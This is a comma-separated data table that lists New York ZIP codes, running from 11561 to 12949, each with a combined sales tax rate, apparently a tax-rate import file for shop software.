US-NY-11561,US,NY,11561,8.625,,,, US-NY-11563,US,NY,11563,8.625,,,, US-NY-11565,US,NY,11565,8.625,,,, US-NY-11566,US,NY,11566,8.625,,,, US-NY-11568,US,NY,11568,8.625,,,, US-NY-11569,US,NY,11569,8.625,,,, US-NY-11570,US,NY,11570,8.625,,,, US-NY-11571,US,NY,11571,8.625,,,, US-NY-11572,US,NY,11572,8.625,,,, US-NY-11575,US,NY,11575,8.625,,,, US-NY-11576,US,NY,11576,8.625,,,, US-NY-11577,US,NY,11577,8.625,,,, US-NY-11579,US,NY,11579,8.625,,,, US-NY-11580,US,NY,11580,8.625,,,, US-NY-11581,US,NY,11581,8.625,,,, US-NY-11582,US,NY,11582,8.625,,,, US-NY-11590,US,NY,11590,8.625,,,, US-NY-11596,US,NY,11596,8.625,,,, US-NY-11598,US,NY,11598,8.625,,,, US-NY-11599,US,NY,11599,8.625,,,, US-NY-11690,US,NY,11690,8.875,,,, US-NY-11691,US,NY,11691,8.875,,,, US-NY-11692,US,NY,11692,8.875,,,, US-NY-11693,US,NY,11693,8.875,,,, US-NY-11694,US,NY,11694,8.875,,,, US-NY-11695,US,NY,11695,8.875,,,, US-NY-11697,US,NY,11697,8.875,,,, US-NY-11701,US,NY,11701,8.625,,,, US-NY-11702,US,NY,11702,8.625,,,, US-NY-11703,US,NY,11703,8.625,,,, US-NY-11704,US,NY,11704,8.625,,,, US-NY-11705,US,NY,11705,8.625,,,, US-NY-11706,US,NY,11706,8.625,,,, US-NY-11707,US,NY,11707,8.625,,,, US-NY-11709,US,NY,11709,8.625,,,, US-NY-11710,US,NY,11710,8.625,,,, US-NY-11713,US,NY,11713,8.625,,,, US-NY-11714,US,NY,11714,8.625,,,, US-NY-11715,US,NY,11715,8.625,,,, US-NY-11716,US,NY,11716,8.625,,,, US-NY-11717,US,NY,11717,8.625,,,, US-NY-11718,US,NY,11718,8.625,,,, US-NY-11719,US,NY,11719,8.625,,,, US-NY-11720,US,NY,11720,8.625,,,, US-NY-11721,US,NY,11721,8.625,,,, US-NY-11722,US,NY,11722,8.625,,,, US-NY-11724,US,NY,11724,8.625,,,, US-NY-11725,US,NY,11725,8.625,,,, US-NY-11726,US,NY,11726,8.625,,,, US-NY-11727,US,NY,11727,8.625,,,, US-NY-11729,US,NY,11729,8.625,,,, US-NY-11730,US,NY,11730,8.625,,,, US-NY-11731,US,NY,11731,8.625,,,, US-NY-11732,US,NY,11732,8.625,,,, US-NY-11733,US,NY,11733,8.625,,,, US-NY-11735,US,NY,11735,8.625,,,, US-NY-11737,US,NY,11737,8.625,,,, US-NY-11738,US,NY,11738,8.625,,,, US-NY-11739,US,NY,11739,8.625,,,, US-NY-11740,US,NY,11740,8.625,,,, US-NY-11741,US,NY,11741,8.625,,,, US-NY-11742,US,NY,11742,8.625,,,, US-NY-11743,US,NY,11743,8.625,,,, US-NY-11746,US,NY,11746,8.625,,,, US-NY-11747,US,NY,11747,8.625,,,, US-NY-11749,US,NY,11749,8.625,,,, US-NY-11751,US,NY,11751,8.625,,,, US-NY-11752,US,NY,11752,8.625,,,, US-NY-11753,US,NY,11753,8.625,,,, US-NY-11754,US,NY,11754,8.625,,,, US-NY-11755,US,NY,11755,8.625,,,, US-NY-11756,US,NY,11756,8.625,,,, US-NY-11757,US,NY,11757,8.625,,,, US-NY-11758,US,NY,11758,8.625,,,, US-NY-11760,US,NY,11760,8.625,,,, US-NY-11762,US,NY,11762,8.625,,,, US-NY-11763,US,NY,11763,8.625,,,, US-NY-11764,US,NY,11764,8.625,,,, US-NY-11765,US,NY,11765,8.625,,,, US-NY-11766,US,NY,11766,8.625,,,, US-NY-11767,US,NY,11767,8.625,,,, US-NY-11768,US,NY,11768,8.625,,,, US-NY-11769,US,NY,11769,8.625,,,, US-NY-11770,US,NY,11770,8.625,,,, US-NY-11771,US,NY,11771,8.625,,,, US-NY-11772,US,NY,11772,8.625,,,, US-NY-11773,US,NY,11773,8.625,,,, US-NY-11775,US,NY,11775,8.625,,,, US-NY-11776,US,NY,11776,8.625,,,, US-NY-11777,US,NY,11777,8.625,,,, US-NY-11778,US,NY,11778,8.625,,,, US-NY-11779,US,NY,11779,8.625,,,, US-NY-11780,US,NY,11780,8.625,,,, US-NY-11782,US,NY,11782,8.625,,,, US-NY-11783,US,NY,11783,8.625,,,, US-NY-11784,US,NY,11784,8.625,,,, US-NY-11786,US,NY,11786,8.625,,,, US-NY-11787,US,NY,11787,8.625,,,, US-NY-11788,US,NY,11788,8.625,,,, US-NY-11789,US,NY,11789,8.625,,,, US-NY-11790,US,NY,11790,8.625,,,, US-NY-11791,US,NY,11791,8.625,,,, US-NY-11792,US,NY,11792,8.625,,,, US-NY-11793,US,NY,11793,8.625,,,, US-NY-11794,US,NY,11794,8.625,,,, US-NY-11795,US,NY,11795,8.625,,,, US-NY-11796,US,NY,11796,8.625,,,, US-NY-11797,US,NY,11797,8.625,,,, US-NY-11798,US,NY,11798,8.625,,,, US-NY-11801,US,NY,11801,8.625,,,, US-NY-11802,US,NY,11802,8.625,,,, US-NY-11803,US,NY,11803,8.625,,,, US-NY-11804,US,NY,11804,8.625,,,, US-NY-11815,US,NY,11815,8.625,,,, US-NY-11819,US,NY,11819,8.625,,,, US-NY-11853,US,NY,11853,8.625,,,, US-NY-11854,US,NY,11854,8.625,,,, US-NY-11901,US,NY,11901,8.625,,,, US-NY-11930,US,NY,11930,8.625,,,, US-NY-11931,US,NY,11931,8.625,,,, US-NY-11932,US,NY,11932,8.625,,,, US-NY-11933,US,NY,11933,8.625,,,, US-NY-11934,US,NY,11934,8.625,,,, US-NY-11935,US,NY,11935,8.625,,,, US-NY-11937,US,NY,11937,8.625,,,, US-NY-11939,US,NY,11939,8.625,,,, US-NY-11940,US,NY,11940,8.625,,,, US-NY-11941,US,NY,11941,8.625,,,, US-NY-11942,US,NY,11942,8.625,,,, US-NY-11944,US,NY,11944,8.625,,,, US-NY-11946,US,NY,11946,8.625,,,, US-NY-11947,US,NY,11947,8.625,,,, US-NY-11948,US,NY,11948,8.625,,,, US-NY-11949,US,NY,11949,8.625,,,, US-NY-11950,US,NY,11950,8.625,,,, US-NY-11951,US,NY,11951,8.625,,,, US-NY-11952,US,NY,11952,8.625,,,, US-NY-11953,US,NY,11953,8.625,,,, US-NY-11954,US,NY,11954,8.625,,,, US-NY-11955,US,NY,11955,8.625,,,, US-NY-11956,US,NY,11956,8.625,,,, US-NY-11957,US,NY,11957,8.625,,,, US-NY-11958,US,NY,11958,8.625,,,, US-NY-11959,US,NY,11959,8.625,,,, US-NY-11960,US,NY,11960,8.625,,,, US-NY-11961,US,NY,11961,8.625,,,, US-NY-11962,US,NY,11962,8.625,,,, US-NY-11963,US,NY,11963,8.625,,,, US-NY-11964,US,NY,11964,8.625,,,, US-NY-11965,US,NY,11965,8.625,,,, US-NY-11967,US,NY,11967,8.625,,,, US-NY-11968,US,NY,11968,8.625,,,, US-NY-11969,US,NY,11969,8.625,,,, US-NY-11970,US,NY,11970,8.625,,,, US-NY-11971,US,NY,11971,8.625,,,, US-NY-11972,US,NY,11972,8.625,,,, US-NY-11973,US,NY,11973,8.625,,,, US-NY-11975,US,NY,11975,8.625,,,, US-NY-11976,US,NY,11976,8.625,,,, US-NY-11977,US,NY,11977,8.625,,,, US-NY-11978,US,NY,11978,8.625,,,, US-NY-11980,US,NY,11980,8.625,,,, US-NY-12007,US,NY,12007,8,,,, US-NY-12008,US,NY,12008,8,,,, US-NY-12009,US,NY,12009,8,,,, US-NY-12010,US,NY,12010,8,,,, US-NY-12015,US,NY,12015,8,,,, US-NY-12016,US,NY,12016,8,,,, US-NY-12017,US,NY,12017,8,,,, US-NY-12018,US,NY,12018,8,,,, US-NY-12019,US,NY,12019,7,,,, US-NY-12020,US,NY,12020,7,,,, US-NY-12022,US,NY,12022,8,,,, US-NY-12023,US,NY,12023,8,,,, US-NY-12024,US,NY,12024,8,,,, US-NY-12025,US,NY,12025,8,,,, US-NY-12027,US,NY,12027,7,,,, US-NY-12028,US,NY,12028,7,,,, US-NY-12029,US,NY,12029,8,,,, US-NY-12031,US,NY,12031,8,,,, US-NY-12032,US,NY,12032,8,,,, US-NY-12033,US,NY,12033,8,,,, US-NY-12035,US,NY,12035,8,,,, US-NY-12036,US,NY,12036,8,,,, US-NY-12037,US,NY,12037,8,,,, US-NY-12040,US,NY,12040,8,,,, US-NY-12041,US,NY,12041,8,,,, US-NY-12042,US,NY,12042,8,,,, US-NY-12043,US,NY,12043,8,,,, US-NY-12045,US,NY,12045,8,,,, US-NY-12046,US,NY,12046,8,,,, US-NY-12047,US,NY,12047,8,,,, US-NY-12050,US,NY,12050,8,,,, US-NY-12051,US,NY,12051,8,,,, US-NY-12052,US,NY,12052,8,,,, US-NY-12053,US,NY,12053,8,,,, US-NY-12054,US,NY,12054,8,,,, US-NY-12055,US,NY,12055,8,,,, US-NY-12056,US,NY,12056,8,,,, US-NY-12057,US,NY,12057,7,,,, US-NY-12058,US,NY,12058,8,,,, US-NY-12059,US,NY,12059,8,,,, US-NY-12060,US,NY,12060,8,,,, US-NY-12061,US,NY,12061,8,,,, US-NY-12062,US,NY,12062,8,,,, US-NY-12063,US,NY,12063,8,,,, US-NY-12064,US,NY,12064,8,,,, US-NY-12065,US,NY,12065,7,,,, US-NY-12066,US,NY,12066,8,,,, US-NY-12067,US,NY,12067,8,,,, US-NY-12068,US,NY,12068,8,,,, US-NY-12069,US,NY,12069,8,,,, US-NY-12070,US,NY,12070,8,,,, US-NY-12071,US,NY,12071,8,,,, US-NY-12072,US,NY,12072,8,,,, US-NY-12073,US,NY,12073,8,,,, US-NY-12074,US,NY,12074,7,,,, US-NY-12075,US,NY,12075,8,,,, US-NY-12076,US,NY,12076,8,,,, US-NY-12077,US,NY,12077,8,,,, US-NY-12078,US,NY,12078,8,,,, US-NY-12082,US,NY,12082,8,,,, US-NY-12083,US,NY,12083,8,,,, US-NY-12084,US,NY,12084,8,,,, US-NY-12085,US,NY,12085,8,,,, US-NY-12086,US,NY,12086,8,,,, US-NY-12087,US,NY,12087,8,,,, US-NY-12089,US,NY,12089,8,,,, US-NY-12090,US,NY,12090,8,,,, US-NY-12092,US,NY,12092,8,,,, US-NY-12093,US,NY,12093,8,,,, US-NY-12094,US,NY,12094,8,,,, US-NY-12095,US,NY,12095,8,,,, US-NY-12106,US,NY,12106,8,,,, US-NY-12107,US,NY,12107,8,,,, US-NY-12108,US,NY,12108,7,,,, US-NY-12110,US,NY,12110,8,,,, US-NY-12115,US,NY,12115,8,,,, US-NY-12116,US,NY,12116,8,,,, US-NY-12117,US,NY,12117,8,,,, US-NY-12118,US,NY,12118,7,,,, US-NY-12120,US,NY,12120,8,,,, US-NY-12121,US,NY,12121,8,,,, US-NY-12122,US,NY,12122,8,,,, US-NY-12123,US,NY,12123,8,,,, US-NY-12124,US,NY,12124,8,,,, US-NY-12125,US,NY,12125,8,,,, US-NY-12128,US,NY,12128,8,,,, US-NY-12130,US,NY,12130,8,,,, US-NY-12131,US,NY,12131,8,,,, US-NY-12132,US,NY,12132,8,,,, US-NY-12133,US,NY,12133,8,,,, US-NY-12134,US,NY,12134,8,,,, US-NY-12136,US,NY,12136,8,,,, US-NY-12137,US,NY,12137,8,,,, US-NY-12138,US,NY,12138,8,,,, US-NY-12139,US,NY,12139,7,,,, US-NY-12140,US,NY,12140,8,,,, US-NY-12141,US,NY,12141,8,,,, US-NY-12143,US,NY,12143,8,,,, US-NY-12144,US,NY,12144,8,,,, US-NY-12147,US,NY,12147,8,,,, US-NY-12148,US,NY,12148,7,,,, US-NY-12149,US,NY,12149,8,,,, US-NY-12150,US,NY,12150,8,,,, US-NY-12151,US,NY,12151,7,,,, US-NY-12153,US,NY,12153,8,,,, US-NY-12154,US,NY,12154,8,,,, US-NY-12155,US,NY,12155,8,,,, US-NY-12156,US,NY,12156,8,,,, US-NY-12157,US,NY,12157,8,,,, US-NY-12158,US,NY,12158,8,,,, US-NY-12159,US,NY,12159,8,,,, US-NY-12160,US,NY,12160,8,,,, US-NY-12161,US,NY,12161,8,,,, US-NY-12164,US,NY,12164,7,,,, US-NY-12165,US,NY,12165,8,,,, US-NY-12166,US,NY,12166,8,,,, US-NY-12167,US,NY,12167,8,,,, US-NY-12168,US,NY,12168,8,,,, US-NY-12169,US,NY,12169,8,,,, US-NY-12170,US,NY,12170,7,,,, US-NY-12172,US,NY,12172,8,,,, US-NY-12173,US,NY,12173,8,,,, US-NY-12174,US,NY,12174,8,,,, US-NY-12175,US,NY,12175,8,,,, US-NY-12176,US,NY,12176,8,,,, US-NY-12177,US,NY,12177,8,,,, US-NY-12180,US,NY,12180,8,,,, US-NY-12181,US,NY,12181,8,,,, US-NY-12182,US,NY,12182,8,,,, US-NY-12183,US,NY,12183,8,,,, US-NY-12184,US,NY,12184,8,,,, US-NY-12185,US,NY,12185,8,,,, US-NY-12186,US,NY,12186,8,,,, US-NY-12187,US,NY,12187,8,,,, US-NY-12188,US,NY,12188,7,,,, US-NY-12189,US,NY,12189,8,,,, US-NY-12190,US,NY,12190,7,,,, US-NY-12192,US,NY,12192,8,,,, US-NY-12193,US,NY,12193,8,,,, US-NY-12194,US,NY,12194,8,,,, US-NY-12195,US,NY,12195,8,,,, US-NY-12196,US,NY,12196,8,,,, US-NY-12197,US,NY,12197,8,,,, US-NY-12198,US,NY,12198,8,,,, US-NY-12201,US,NY,12201,8,,,, US-NY-12202,US,NY,12202,8,,,, US-NY-12203,US,NY,12203,8,,,, US-NY-12204,US,NY,12204,8,,,, US-NY-12205,US,NY,12205,8,,,, US-NY-12206,US,NY,12206,8,,,, US-NY-12207,US,NY,12207,8,,,, US-NY-12208,US,NY,12208,8,,,, US-NY-12209,US,NY,12209,8,,,, US-NY-12210,US,NY,12210,8,,,, US-NY-12211,US,NY,12211,8,,,, US-NY-12212,US,NY,12212,8,,,, US-NY-12214,US,NY,12214,8,,,, US-NY-12220,US,NY,12220,8,,,, US-NY-12222,US,NY,12222,8,,,, US-NY-12223,US,NY,12223,8,,,, US-NY-12224,US,NY,12224,8,,,, US-NY-12225,US,NY,12225,8,,,, US-NY-12226,US,NY,12226,8,,,, US-NY-12227,US,NY,12227,8,,,, US-NY-12228,US,NY,12228,8,,,, US-NY-12229,US,NY,12229,8,,,, US-NY-12230,US,NY,12230,8,,,, US-NY-12231,US,NY,12231,8,,,, US-NY-12232,US,NY,12232,8,,,, US-NY-12233,US,NY,12233,8,,,, US-NY-12234,US,NY,12234,8,,,, US-NY-12235,US,NY,12235,8,,,, US-NY-12236,US,NY,12236,8,,,, US-NY-12237,US,NY,12237,8,,,, US-NY-12238,US,NY,12238,8,,,, US-NY-12239,US,NY,12239,8,,,, US-NY-12240,US,NY,12240,8,,,, US-NY-12241,US,NY,12241,8,,,, US-NY-12242,US,NY,12242,8,,,, US-NY-12243,US,NY,12243,8,,,, US-NY-12244,US,NY,12244,8,,,, US-NY-12245,US,NY,12245,8,,,, US-NY-12246,US,NY,12246,8,,,, US-NY-12247,US,NY,12247,8,,,, US-NY-12248,US,NY,12248,8,,,, US-NY-12249,US,NY,12249,8,,,, US-NY-12250,US,NY,12250,8,,,, US-NY-12252,US,NY,12252,8,,,, US-NY-12255,US,NY,12255,8,,,, US-NY-12256,US,NY,12256,8,,,, US-NY-12257,US,NY,12257,8,,,, US-NY-12260,US,NY,12260,8,,,, US-NY-12261,US,NY,12261,8,,,, US-NY-12288,US,NY,12288,8,,,, US-NY-12301,US,NY,12301,8,,,, US-NY-12302,US,NY,12302,8,,,, US-NY-12303,US,NY,12303,8,,,, US-NY-12304,US,NY,12304,8,,,, US-NY-12305,US,NY,12305,8,,,, US-NY-12306,US,NY,12306,8,,,, US-NY-12307,US,NY,12307,8,,,, US-NY-12308,US,NY,12308,8,,,, US-NY-12309,US,NY,12309,8,,,, US-NY-12325,US,NY,12325,8,,,, US-NY-12345,US,NY,12345,8,,,, US-NY-12401,US,NY,12401,8,,,, US-NY-12402,US,NY,12402,8,,,, US-NY-12404,US,NY,12404,8,,,, US-NY-12405,US,NY,12405,8,,,, US-NY-12406,US,NY,12406,8,,,, US-NY-12407,US,NY,12407,8,,,, US-NY-12409,US,NY,12409,8,,,, US-NY-12410,US,NY,12410,8,,,, US-NY-12411,US,NY,12411,8,,,, US-NY-12412,US,NY,12412,8,,,, US-NY-12413,US,NY,12413,8,,,, US-NY-12414,US,NY,12414,8,,,, US-NY-12416,US,NY,12416,8,,,, US-NY-12417,US,NY,12417,8,,,, US-NY-12418,US,NY,12418,8,,,, US-NY-12419,US,NY,12419,8,,,, US-NY-12420,US,NY,12420,8,,,, US-NY-12421,US,NY,12421,8,,,, US-NY-12422,US,NY,12422,8,,,, US-NY-12423,US,NY,12423,8,,,, US-NY-12424,US,NY,12424,8,,,, US-NY-12427,US,NY,12427,8,,,, US-NY-12428,US,NY,12428,8,,,, US-NY-12429,US,NY,12429,8,,,, US-NY-12430,US,NY,12430,8,,,, US-NY-12431,US,NY,12431,8,,,, US-NY-12432,US,NY,12432,8,,,, US-NY-12433,US,NY,12433,8,,,, US-NY-12434,US,NY,12434,8,,,, US-NY-12435,US,NY,12435,8,,,, US-NY-12436,US,NY,12436,8,,,, US-NY-12438,US,NY,12438,8,,,, US-NY-12439,US,NY,12439,8,,,, US-NY-12440,US,NY,12440,8,,,, US-NY-12441,US,NY,12441,8,,,, US-NY-12442,US,NY,12442,8,,,, US-NY-12443,US,NY,12443,8,,,, US-NY-12444,US,NY,12444,8,,,, US-NY-12446,US,NY,12446,8,,,, US-NY-12448,US,NY,12448,8,,,, US-NY-12449,US,NY,12449,8,,,, US-NY-12450,US,NY,12450,8,,,, US-NY-12451,US,NY,12451,8,,,, US-NY-12452,US,NY,12452,8,,,, US-NY-12453,US,NY,12453,8,,,, US-NY-12454,US,NY,12454,8,,,, US-NY-12455,US,NY,12455,8,,,, US-NY-12456,US,NY,12456,8,,,, US-NY-12457,US,NY,12457,8,,,, US-NY-12458,US,NY,12458,8,,,, US-NY-12459,US,NY,12459,8,,,, US-NY-12460,US,NY,12460,8,,,, US-NY-12461,US,NY,12461,8,,,, US-NY-12463,US,NY,12463,8,,,, US-NY-12464,US,NY,12464,8,,,, US-NY-12465,US,NY,12465,8,,,, US-NY-12466,US,NY,12466,8,,,, US-NY-12468,US,NY,12468,8,,,, US-NY-12469,US,NY,12469,8,,,, US-NY-12470,US,NY,12470,8,,,, US-NY-12471,US,NY,12471,8,,,, US-NY-12472,US,NY,12472,8,,,, US-NY-12473,US,NY,12473,8,,,, US-NY-12474,US,NY,12474,8,,,, US-NY-12475,US,NY,12475,8,,,, US-NY-12477,US,NY,12477,8,,,, US-NY-12480,US,NY,12480,8,,,, US-NY-12481,US,NY,12481,8,,,, US-NY-12482,US,NY,12482,8,,,, US-NY-12483,US,NY,12483,8,,,, US-NY-12484,US,NY,12484,8,,,, US-NY-12485,US,NY,12485,8,,,, US-NY-12486,US,NY,12486,8,,,, US-NY-12487,US,NY,12487,8,,,, US-NY-12489,US,NY,12489,8,,,, US-NY-12490,US,NY,12490,8,,,, US-NY-12491,US,NY,12491,8,,,, US-NY-12492,US,NY,12492,8,,,, US-NY-12493,US,NY,12493,8,,,, US-NY-12494,US,NY,12494,8,,,, US-NY-12495,US,NY,12495,8,,,, US-NY-12496,US,NY,12496,8,,,, US-NY-12498,US,NY,12498,8,,,, US-NY-12501,US,NY,12501,8.125,,,, US-NY-12502,US,NY,12502,8,,,, US-NY-12503,US,NY,12503,8,,,, US-NY-12504,US,NY,12504,8.125,,,, US-NY-12506,US,NY,12506,8.125,,,, US-NY-12507,US,NY,12507,8.125,,,, US-NY-12508,US,NY,12508,8.125,,,, US-NY-12510,US,NY,12510,8.125,,,, US-NY-12511,US,NY,12511,8.125,,,, US-NY-12512,US,NY,12512,8.125,,,, US-NY-12513,US,NY,12513,8,,,, US-NY-12514,US,NY,12514,8.125,,,, US-NY-12515,US,NY,12515,8,,,, US-NY-12516,US,NY,12516,8,,,, US-NY-12517,US,NY,12517,8,,,, US-NY-12518,US,NY,12518,8.125,,,, US-NY-12520,US,NY,12520,8.125,,,, US-NY-12521,US,NY,12521,8,,,, US-NY-12522,US,NY,12522,8.125,,,, US-NY-12523,US,NY,12523,8,,,, US-NY-12524,US,NY,12524,8.125,,,, US-NY-12525,US,NY,12525,8,,,, US-NY-12526,US,NY,12526,8,,,, US-NY-12527,US,NY,12527,8.125,,,, US-NY-12528,US,NY,12528,8,,,, US-NY-12529,US,NY,12529,8,,,, US-NY-12530,US,NY,12530,8,,,, US-NY-12531,US,NY,12531,8.125,,,, US-NY-12533,US,NY,12533,8.125,,,, US-NY-12534,US,NY,12534,8,,,, US-NY-12537,US,NY,12537,8.125,,,, US-NY-12538,US,NY,12538,8.125,,,, US-NY-12540,US,NY,12540,8.125,,,, US-NY-12541,US,NY,12541,8,,,, US-NY-12542,US,NY,12542,8,,,, US-NY-12543,US,NY,12543,8.125,,,, US-NY-12544,US,NY,12544,8,,,, US-NY-12545,US,NY,12545,8.125,,,, US-NY-12546,US,NY,12546,8.125,,,, US-NY-12547,US,NY,12547,8,,,, US-NY-12548,US,NY,12548,8,,,, US-NY-12549,US,NY,12549,8.125,,,, US-NY-12550,US,NY,12550,8.125,,,, US-NY-12551,US,NY,12551,8.125,,,, US-NY-12552,US,NY,12552,8.125,,,, US-NY-12553,US,NY,12553,8.125,,,, US-NY-12555,US,NY,12555,8.125,,,, US-NY-12561,US,NY,12561,8,,,, US-NY-12563,US,NY,12563,8.375,,,, US-NY-12564,US,NY,12564,8.125,,,, US-NY-12565,US,NY,12565,8,,,, US-NY-12566,US,NY,12566,8,,,, US-NY-12567,US,NY,12567,8.125,,,, US-NY-12568,US,NY,12568,8,,,, US-NY-12569,US,NY,12569,8.125,,,, US-NY-12570,US,NY,12570,8.125,,,, US-NY-12571,US,NY,12571,8.125,,,, US-NY-12572,US,NY,12572,8.125,,,, US-NY-12574,US,NY,12574,8.125,,,, US-NY-12575,US,NY,12575,8.125,,,, US-NY-12577,US,NY,12577,8.125,,,, US-NY-12578,US,NY,12578,8.125,,,, US-NY-12580,US,NY,12580,8.125,,,, US-NY-12581,US,NY,12581,8.125,,,, US-NY-12582,US,NY,12582,8.125,,,, US-NY-12583,US,NY,12583,8.125,,,, US-NY-12584,US,NY,12584,8.125,,,, US-NY-12585,US,NY,12585,8.125,,,, US-NY-12586,US,NY,12586,8.125,,,, US-NY-12588,US,NY,12588,8,,,, US-NY-12589,US,NY,12589,8,,,, US-NY-12590,US,NY,12590,8.125,,,, US-NY-12592,US,NY,12592,8.125,,,, US-NY-12594,US,NY,12594,8.125,,,, US-NY-12601,US,NY,12601,8.125,,,, US-NY-12602,US,NY,12602,8.125,,,, US-NY-12603,US,NY,12603,8.125,,,, US-NY-12604,US,NY,12604,8.125,,,, US-NY-12701,US,NY,12701,8,,,, US-NY-12719,US,NY,12719,8,,,, US-NY-12720,US,NY,12720,8,,,, US-NY-12721,US,NY,12721,8,,,, US-NY-12722,US,NY,12722,8,,,, US-NY-12723,US,NY,12723,8,,,, US-NY-12724,US,NY,12724,8,,,, US-NY-12725,US,NY,12725,8,,,, US-NY-12726,US,NY,12726,8,,,, US-NY-12727,US,NY,12727,8,,,, US-NY-12729,US,NY,12729,8.125,,,, US-NY-12732,US,NY,12732,8,,,, US-NY-12733,US,NY,12733,8,,,, US-NY-12734,US,NY,12734,8,,,, US-NY-12736,US,NY,12736,8,,,, US-NY-12737,US,NY,12737,8,,,, US-NY-12738,US,NY,12738,8,,,, US-NY-12740,US,NY,12740,8,,,, US-NY-12741,US,NY,12741,8,,,, US-NY-12742,US,NY,12742,8,,,, US-NY-12743,US,NY,12743,8,,,, US-NY-12745,US,NY,12745,8,,,, US-NY-12746,US,NY,12746,8.125,,,, US-NY-12747,US,NY,12747,8,,,, US-NY-12748,US,NY,12748,8,,,, US-NY-12749,US,NY,12749,8,,,, US-NY-12750,US,NY,12750,8,,,, US-NY-12751,US,NY,12751,8,,,, US-NY-12752,US,NY,12752,8,,,, US-NY-12754,US,NY,12754,8,,,, US-NY-12758,US,NY,12758,8,,,, US-NY-12759,US,NY,12759,8,,,, US-NY-12760,US,NY,12760,8,,,, US-NY-12762,US,NY,12762,8,,,, US-NY-12763,US,NY,12763,8,,,, US-NY-12764,US,NY,12764,8,,,, US-NY-12765,US,NY,12765,8,,,, US-NY-12766,US,NY,12766,8,,,, US-NY-12767,US,NY,12767,8,,,, US-NY-12768,US,NY,12768,8,,,, US-NY-12769,US,NY,12769,8,,,, US-NY-12770,US,NY,12770,8,,,, US-NY-12771,US,NY,12771,8.125,,,, US-NY-12775,US,NY,12775,8,,,, US-NY-12776,US,NY,12776,8,,,, US-NY-12777,US,NY,12777,8,,,, US-NY-12778,US,NY,12778,8,,,, US-NY-12779,US,NY,12779,8,,,, US-NY-12780,US,NY,12780,8.125,,,, US-NY-12781,US,NY,12781,8,,,, US-NY-12783,US,NY,12783,8,,,, US-NY-12784,US,NY,12784,8,,,, US-NY-12785,US,NY,12785,8.125,,,, US-NY-12786,US,NY,12786,8,,,, US-NY-12787,US,NY,12787,8,,,, US-NY-12788,US,NY,12788,8,,,, US-NY-12789,US,NY,12789,8,,,, US-NY-12790,US,NY,12790,8,,,, US-NY-12791,US,NY,12791,8,,,, US-NY-12792,US,NY,12792,8,,,, US-NY-12801,US,NY,12801,7,,,, US-NY-12803,US,NY,12803,7,,,, US-NY-12804,US,NY,12804,7,,,, US-NY-12808,US,NY,12808,7,,,, US-NY-12809,US,NY,12809,7,,,, US-NY-12810,US,NY,12810,7,,,, US-NY-12811,US,NY,12811,7,,,, US-NY-12812,US,NY,12812,7,,,, US-NY-12814,US,NY,12814,7,,,, US-NY-12815,US,NY,12815,7,,,, US-NY-12816,US,NY,12816,7,,,, US-NY-12817,US,NY,12817,7,,,, US-NY-12819,US,NY,12819,7,,,, US-NY-12820,US,NY,12820,7,,,, US-NY-12821,US,NY,12821,7,,,, US-NY-12822,US,NY,12822,7,,,, US-NY-12823,US,NY,12823,7,,,, US-NY-12824,US,NY,12824,7,,,, US-NY-12827,US,NY,12827,7,,,, US-NY-12828,US,NY,12828,7,,,, US-NY-12831,US,NY,12831,7,,,, US-NY-12832,US,NY,12832,7,,,, US-NY-12833,US,NY,12833,7,,,, US-NY-12834,US,NY,12834,7,,,, US-NY-12835,US,NY,12835,7,,,, US-NY-12836,US,NY,12836,7,,,, US-NY-12837,US,NY,12837,7,,,, US-NY-12838,US,NY,12838,7,,,, US-NY-12839,US,NY,12839,7,,,, US-NY-12841,US,NY,12841,7,,,, US-NY-12842,US,NY,12842,7,,,, US-NY-12843,US,NY,12843,7,,,, US-NY-12844,US,NY,12844,7,,,, US-NY-12845,US,NY,12845,7,,,, US-NY-12846,US,NY,12846,7,,,, US-NY-12847,US,NY,12847,7,,,, US-NY-12848,US,NY,12848,7,,,, US-NY-12849,US,NY,12849,7,,,, US-NY-12850,US,NY,12850,7,,,, US-NY-12851,US,NY,12851,7.75,,,, US-NY-12852,US,NY,12852,7.75,,,, US-NY-12853,US,NY,12853,7,,,, US-NY-12854,US,NY,12854,7,,,, US-NY-12855,US,NY,12855,7.75,,,, US-NY-12856,US,NY,12856,7,,,, US-NY-12857,US,NY,12857,7.75,,,, US-NY-12858,US,NY,12858,7.75,,,, US-NY-12859,US,NY,12859,7,,,, US-NY-12860,US,NY,12860,7,,,, US-NY-12861,US,NY,12861,7,,,, US-NY-12862,US,NY,12862,7,,,, US-NY-12863,US,NY,12863,7,,,, US-NY-12864,US,NY,12864,7,,,, US-NY-12865,US,NY,12865,7,,,, US-NY-12866,US,NY,12866,7,,,, US-NY-12870,US,NY,12870,7.75,,,, US-NY-12871,US,NY,12871,7,,,, US-NY-12872,US,NY,12872,7.75,,,, US-NY-12873,US,NY,12873,7,,,, US-NY-12874,US,NY,12874,7,,,, US-NY-12878,US,NY,12878,7,,,, US-NY-12879,US,NY,12879,7.75,,,, US-NY-12883,US,NY,12883,7.75,,,, US-NY-12884,US,NY,12884,7,,,, US-NY-12885,US,NY,12885,7,,,, US-NY-12886,US,NY,12886,7,,,, US-NY-12887,US,NY,12887,7,,,, US-NY-12901,US,NY,12901,8,,,, US-NY-12903,US,NY,12903,8,,,, US-NY-12910,US,NY,12910,8,,,, US-NY-12911,US,NY,12911,8,,,, US-NY-12912,US,NY,12912,8,,,, US-NY-12913,US,NY,12913,7.75,,,, US-NY-12914,US,NY,12914,8,,,, US-NY-12915,US,NY,12915,8,,,, US-NY-12916,US,NY,12916,8,,,, US-NY-12917,US,NY,12917,8,,,, US-NY-12918,US,NY,12918,8,,,, US-NY-12919,US,NY,12919,8,,,, US-NY-12920,US,NY,12920,8,,,, US-NY-12921,US,NY,12921,8,,,, US-NY-12922,US,NY,12922,7,,,, US-NY-12923,US,NY,12923,8,,,, US-NY-12924,US,NY,12924,8,,,, US-NY-12926,US,NY,12926,8,,,, US-NY-12927,US,NY,12927,7,,,, US-NY-12928,US,NY,12928,7.75,,,, US-NY-12929,US,NY,12929,8,,,, US-NY-12930,US,NY,12930,8,,,, US-NY-12932,US,NY,12932,7.75,,,, US-NY-12933,US,NY,12933,8,,,, US-NY-12934,US,NY,12934,8,,,, US-NY-12935,US,NY,12935,8,,,, US-NY-12936,US,NY,12936,7.75,,,, US-NY-12937,US,NY,12937,8,,,, US-NY-12939,US,NY,12939,8,,,, US-NY-12941,US,NY,12941,7.75,,,, US-NY-12942,US,NY,12942,7.75,,,, US-NY-12943,US,NY,12943,7.75,,,, US-NY-12944,US,NY,12944,7.75,,,, US-NY-12945,US,NY,12945,8,,,, US-NY-12946,US,NY,12946,7.75,,,, US-NY-12949,US,NY,12949,7,,,, 